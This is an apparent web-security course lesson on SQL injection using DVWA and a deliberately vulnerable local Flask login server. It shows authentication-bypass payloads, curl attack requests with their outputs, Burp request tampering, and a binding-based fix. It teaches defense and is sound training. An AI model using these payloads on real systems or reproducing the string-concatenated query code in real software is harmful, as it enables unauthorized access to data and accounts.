What would you like to learn?

Try PowerShell, networks, XSS, or Step 138

Browse the full curriculum →

Web security

Step 135. DVWA Setup and SQLi Basics — Crossing Low and Medium

Step 135Estimated practice · 3.5 hours

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3.5 hours

Prerequisites: SQL basics and parameter binding from Steps 92–93, your first SQL injection from Step 104 (Natas 14), and Burp Suite handling from Step 133.

  • What you need: Docker (for DVWA), Burp Suite, and Python 3 + Flask + sqlite3 to reproduce the same principles.
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
  • Caution: this writing environment has no DVWA, so all DVWA screens and outputs are examples. Instead, we launch a vulnerable server with exactly the same principles as DVWA’s Low/Medium on your computer with Flask and prove every attack with real measurements. The payloads and line of thinking are identical when you follow along on DVWA yourself.

In Step 104 you landed ' OR '1'='1 for the first time. Today we turn that one shot into a system. Our textbook is DVWA (Damn Vulnerable Web App) — a PHP web app made vulnerable on purpose, the people’s dojo of web security where you can drill the same vulnerability repeatedly while raising the difficulty from Low to Medium to High. Today’s core lesson is one: the payload changes depending on context (wrapped in quotes or not, number or not). Why the spell that worked on Low fails on Medium — today you confirm it with your own eyes.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Launch DVWA with Docker and adjust its security difficulty
  • Detect the presence of SQL injection with a single quote (') and read the error as a hint
  • Reconstruct, as strings, the query transformations of ' OR '1'='1' -- and admin'--
  • Attack without quotes using 1 OR 1=1 in a numeric context (Medium)
  • Attack a form with no input field by modifying POST parameters with Burp

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment DVWA (Docker, PHP+MySQL — output examples) + Python 3, Flask, sqlite3 for local reproduction (measured)
Today’s commands/payloads docker run, ', ' OR '1'='1' -- , admin'-- , 1 OR 1=1, POST modification with Burp Repeater
Concepts needed String-concatenation vulnerability, SQL comments (-- , #), string context vs. numeric context, parameter binding
Today’s artifact lab135.py (vulnerable login server) + a Low/Medium attack record document

2-1. DVWA — A Deliberately Vulnerable Practice Ground

DVWA is a web app with representative vulnerabilities — login, SQL Injection, XSS, command injection — organized as menus. Its key feature is the Security difficulty — even for the same "SQL Injection" menu, Low has no defense at all, Medium changes the input method, and High changes the code. Watching where your attack gets blocked as defenses are added one layer at a time is this app’s educational design.

2-2. Review — What a Single Quote Sets Off

Let’s pull back out one scene from Step 104. Suppose the server’s query looks like this.

SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT'

Put even a single ' in the input and the quote pairing breaks, producing an SQL error. That error is not a failure — it’s a hint: the server’s confession that "your input reaches inside the query syntax." Next, plant an always-true condition with ' OR '1'='1, comment out the tail with -- , and authentication collapses. Today we turn this process from "luck" into "procedure": detect (') → transform (OR) → tidy up (-- ).

2-3. Comment Dialects — -- and #

SQL comments have dialects per database. MySQL recognizes -- as a comment only when a space follows it, and # is also a comment. SQLite tends to accept -- without a space, but attaching the space as a habit is safer. So practical payloads are written with a trailing space, like -- . Every measurement in this chapter uses the -- form too.

2-4. String Context vs. Numeric Context — Medium’s Real Wall

DVWA Medium’s SQL Injection changes the input field into a dropdown, and the server code handles the input as a number.

-- Low (string context):    WHERE user_id = '$id'
-- Medium (numeric context):   WHERE user_id = $id

In a numeric context there’s no reason to insert a quote — it was never wrapped in quotes to begin with. So the payload becomes 1 OR 1=1, without quotes. "Read the context, then pick the payload" — that is today’s #1 lesson.


3. Follow Along

3-1. Installing DVWA (Screen Example)

With Docker, it’s one line.

docker run -d -p 80:80 vulnerables/web-dvwa

Open http://localhost in a browser → click "Create / Reset Database" at the bottom → log in with admin / password → set the level to Low in "DVWA Security" on the left. (This writing environment has no DVWA, so the install screens are examples — proceed in your own lab.)

3-2. A Local Reproduction Server — A Login as Vulnerable as Low

Even before DVWA is ready, principle practice can start right now. Write lab135.py (educational vulnerable code — never deploy it anywhere):

import sqlite3
from flask import Flask, request

app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", "sup3r_s3cret!"), ("alice", "wonderland"), ("bob", "builder99"),
])

@app.route("/login")
def login():
    """Low difficulty reproduction: concatenate inputs as strings, as is."""
    u = request.args.get("u", "")
    p = request.args.get("p", "")
    sql = f"SELECT * FROM users WHERE username = '{u}' AND password = '{p}'"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception as e:
        return f"[Error] {e}nExecuted SQL: {sql}", 500
    if rows:
        return f"Login success! Welcome, {rows[0][0]}nExecuted SQL: {sql}"
    return f"Login failednExecuted SQL: {sql}"

if __name__ == "__main__":
    app.run(port=5135)
python lab135.py

For learning purposes, this server shows the executed SQL as is. A real server wouldn’t, but today you need to see with your eyes how the query changes.

3-3. Normal → Detect → Break Through: The Three-Step Procedure

Step 1 — normal input (measured 2026-09-09):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=alice" --data-urlencode "p=wonderland"
Login success! Welcome, alice
Executed SQL: SELECT * FROM users WHERE username = 'alice' AND password = 'wonderland'

Step 2 — detection: a single quote (measured 2026-09-09):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=alice'" --data-urlencode "p=x"
[Error] unrecognized token: "x'"
Executed SQL: SELECT * FROM users WHERE username = 'alice'' AND password = 'x'

Error messages differ per database (on MySQL, You have an error in your SQL syntax; on a Korean-language Windows, a different message may appear). What matters is the fact that an error appeared = my input reached the query syntax.

Step 3 — breaking through (measured 2026-09-09):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=' OR '1'='1' -- " --data-urlencode "p=whatever"
Login success! Welcome, admin
Executed SQL: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'whatever'

How to read it: read the completed query aloud. "username is an empty string, OR 1 equals 1 (always true) — and everything after -- is a comment." The password-comparison part got commented out wholesale. Since the condition is always true, you were logged in as the first row (admin).

Why: what you do on DVWA’s SQL Injection (Low) is exactly this. Enter 1 in the input field to see normal behavior, observe the error with 1', and output all users with something in the ' OR '1'='1 family (the DVWA screen is an output example: everyone gets listed like First name: admin / Surname: admin).

3-4. admin’– — Becoming Admin Without Knowing the Password

If the goal is not "anyone" but "admin," write it like this (measured 2026-09-09):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=admin'-- " --data-urlencode "p=whatever"
Login success! Welcome, admin
Executed SQL: SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'whatever'

My ' closed the username string, and -- erased everything after it (including the password check). The result: a query with only "the row whose username is admin" left. That input you met as a prediction question in Step 93 has now actually run on top of a web request.

3-5. Reproducing Medium — A Numeric Context Has No Quotes

Add a Medium-style route to lab135.py and restart.

@app.route("/user")
def user_lookup():
    """Medium difficulty reproduction: numeric context — not wrapped in quotes."""
    uid = request.args.get("id", "1")
    sql = f"SELECT username FROM users WHERE rowid = {uid}"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception as e:
        return f"[Error] {e}nExecuted SQL: {sql}", 500
    if rows:
        names = ", ".join(r[0] for r in rows)
        return f"Results: {names}nExecuted SQL: {sql}"
    return f"No resultsnExecuted SQL: {sql}"

Normal lookup (measured 2026-09-09, id=1):

Results: admin
Executed SQL: SELECT username FROM users WHERE rowid = 1

Attack — without quotes (measured 2026-09-09, id=1 OR 1=1):

Results: admin, alice, bob
Executed SQL: SELECT username FROM users WHERE rowid = 1 OR 1=1

How to read it: look at the query — there are no quotes after rowid = . So the payload has no quotes either. Conversely, put ' OR '1'='1 into this server and you get rowid = ' OR '1'='1 — a string in a numeric slot, producing only an error. You’ve just confirmed why Low’s spell fails on Medium.

Why: in real DVWA Medium, the input is a dropdown. In the browser, you can’t enter a value outside the choices. But the dropdown is only a screen decoration — what ultimately goes to the server is a parameter like id=1 in a POST request. Which is why the next step is needed.

3-6. Attacking Medium with Burp (DVWA, Output Example)

In DVWA, raise Security to Medium and open the SQL Injection menu. There’s no input field — only a dropdown.

  1. Turn on the Burp proxy, pick 1 from the dropdown, and Submit — the request gets caught
  2. Send the caught request to Repeater (Ctrl+R)
  3. Change id=1 in the body to id=1 OR 1=1 and Send
  4. The response lists all users (output example)

How to read it: on-screen input restrictions are client-side devices. Step 103’s first principle — what’s the client’s can be changed by the client. Dropdowns, JavaScript validation, readonly attributes — all are meaningless in front of Burp. The server is the only gatekeeper of the trust boundary.

3-7. Confirming the Defense — Same Input, Different Result

Finally, attach a binding version for contrast.

@app.route("/login_safe")
def login_safe():
    u = request.args.get("u", "")
    p = request.args.get("p", "")
    rows = CONN.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?", (u, p)
    ).fetchall()
    return "Login success!" if rows else "Login failed"

Output (measured 2026-09-09, input ' OR '1'='1' -- ):

Login failed

The very input that opened admin in 3-3 fails quietly here. Exactly the sentence from Step 93 — binding confines input as data, not syntax. Every attack today was born from one line, "concatenation," and dies at one line, "binding."


4. Missions & Exercises

Mission — A Low/Medium Attack Record Document

  1. Complete lab135.py and capture the commands and outputs of the three payloads (' detection, ' OR '1'='1' -- , admin'-- ).
  2. Under each capture, reconstruct the completed query by hand and mark which part got commented out.
  3. On the Medium route, capture both the success of 1 OR 1=1 and the failure of ' OR '1'='1, and explain the difference in one sentence.
  4. If you have DVWA, add screens of extracting all users on Low and attacking Medium via Burp. If not, substitute with local captures.
  5. In your wiki, sqli-basics.md — organize the three-step procedure "detect → transform → tidy up (comment)" and the string/numeric context distinction.

Exercises

Exercise 1. Explain why an SQL error when entering 1' is a "signal of vulnerability." Can it be vulnerable even without an error?

Exercise 2. Write out the completed query for the input ' OR '1'='1' -- as a string, and pinpoint exactly where the password comparison gets neutralized.

Exercise 3. In Medium (numeric context), explain why ' OR '1'='1 fails, and write the payload you should use instead.

Exercise 4. Explain, from the trust-boundary perspective, why Medium’s "defense" of switching to a dropdown collapses in front of Burp.


Answers & completion criteria · expand/collapse

5. Model Answers & Completion Criteria

Mission Model Answer

How to verify: ① do the three payloads’ outputs show "Login success! Welcome, admin" (per the 2026-09-09 measurement — both ' OR '1'='1' -- and admin'-- succeed as admin)? ② in the reconstructed query, did you mark everything after -- (' AND password = ...) as a comment? ③ on Medium, is there a contrast between id=1 OR 1=1 returning everyone (measured: admin, alice, bob) and ' OR '1'='1 producing an error/failure? ④ does the summary document contain the sentence "the payload changes depending on context"?

Exercise Answers

Answer 1. A quote is an ordinary character, so an SQL error means my input went into the query syntax, not treated as data — that’s the evidence. There are also cases with no error — if the server hides errors (doesn’t show them on screen), it becomes a quiet Blind form, which you detect with the true/false comparisons of Step 137. Beware: "no error = safe" is wrong.

Answer 2. The completed query: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'whatever'. The neutralization point is right after -- — all of -- ' AND password = 'whatever' is a comment, so only the username condition and an always-true OR condition remain in the query.

Answer 3. In a numeric context (WHERE rowid = INPUT), my quote isn’t "syntax that opens/closes a string" but just a weird character, producing only an SQL error. With no quotes, there’s nothing to close. Use a quote-free payload like 1 OR 1=1 instead (looked up everyone in the 3-5 measurement).

Answer 4. A dropdown is a device of the client territory called the browser. What reaches the server is ultimately one line id=... in the HTTP request body, and that line can be edited at will with Burp. The trust boundary must be drawn at the network boundary — client-side restrictions are user convenience, not defense.

Completion Criteria Checklist

  • [ ] I can state (or have done) DVWA’s install/login/difficulty-adjustment procedure
  • [ ] I can demonstrate the three-step procedure: quote detection → OR transformation → comment tidy-up
  • [ ] I can reconstruct the completed query of ' OR '1'='1' -- as a string
  • [ ] I can explain why you attack with 1 OR 1=1 in a numeric context
  • [ ] I can follow the procedure of modifying POST parameters with Burp Repeater
  • [ ] I confirmed the same input fails against the binding version
  • [ ] Mission: I completed the attack record document

6. Common Pitfalls & Fixes

Wall 1. I put in -- but the comment doesn’t take

Symptom (output example, MySQL family): You have an error in your SQL syntax; check the manual ... near '-- '.

Cause: MySQL recognizes -- as a comment only when a space (or control character) follows it. -- alone gets read as two minus signs.

Fix: always write it as -- (with a trailing space), or use MySQL’s own comment #. In web forms, a space can cause URL-encoding issues, so idioms like -- - exist too.

Wall 2. Korean characters/spaces get mangled when I put them in curl

Symptom (measured in the writing environment): entering a Korean password printed a mangled value like %B8%F0... in the query.

Cause: the terminal’s encoding and the server’s expectation differ. Git Bash may send Korean in the system codepage.

Fix: use ASCII payloads for practice. If Korean is truly necessary, use Python requests.get(url, params={...}) instead of curl — it does URL encoding correctly for you.

Wall 3. I enter an attack input and get only a plain "Login failed"

Symptom: the payload fails quietly — no error, no success.

One of three causes: ① the server wraps in double quotes (Step 104, Exercise 3) — retry with ". ② it’s a numeric context and you inserted quotes — go with 1 OR 1=1. ③ the server is defended with binding/escaping — that’s normal; check you’re against the practice server.

Fix: first confirm the wrapping character of the query the server shows (or has in its source). Context confirmation precedes every payload choice.

Wall 4. DVWA bounces me to login (when resending with Burp)

Symptom: a request sent via Repeater gets redirected to the login page.

Cause: the request is missing the session cookie (PHPSESSID) and the security=low cookie. DVWA checks the login session on every request.

Fix: log in from the browser, copy the cookies from developer tools, and attach them as is to the Cookie: header of the Burp request. Step 134’s instinct applies here — the cookie is the ID card.

Wall 5. "Address already in use" when running lab135.py

Symptom: the server won’t start, with a port-conflict error.

Cause: a previously launched server is still alive.

Fix: Ctrl+C in that terminal. If you already closed the window, find the PID with netstat -ano | grep 5135 and kill it with taskkill /F /PID <number>.


7. Summary

Today’s Concepts

Concept One-line explanation
DVWA A deliberately vulnerable educational web app — difficulty adjustment is its key feature
Detection (') The first question confirming "does my input reach the syntax?" with a single quote
Comments (-- , #) An eraser that wipes the query’s tail — MySQL requires a space after --
String context '$id' — close the quote and plant an OR (Low)
Numeric context $id1 OR 1=1 without quotes (Medium)
Trust boundary Client-side restrictions (dropdowns) are not defense — Burp proves it

Today’s Commands and Payloads

Command/payload What it does
docker run -d -p 80:80 vulnerables/web-dvwa Launch DVWA
' Injection detection — the error is the hint
' OR '1'='1' -- Neutralize the condition in a string context
admin'-- Log in as a specified account without a password
1 OR 1=1 Look up everything in a numeric context
curl -G URL --data-urlencode "u=..." A GET attack request with URL encoding handled
Burp: Proxy → Repeater → Send Edit a caught request and resend

An Instinct More Important Than Commands

SQL injection is not "a spell you memorize" but a reading skill. Read the spot where your input sits in the server’s query (the context), close that context, plant the syntax you want, and tidy the rest away as a comment — those four motions are all of it. And as you saw in today’s measurements, defense is a difference of one line of code. You’ve now written both the vulnerable line and the safe line with the same hands, so you’ve also gained the eye to find that one line in someone else’s code.


Once every box is checked, Step 135 is complete.

ONE STEP FURTHER

Finished this lesson?

Check the completion criteria, then mark your progress.

Something wrong with this page or a link? Let us know.
Next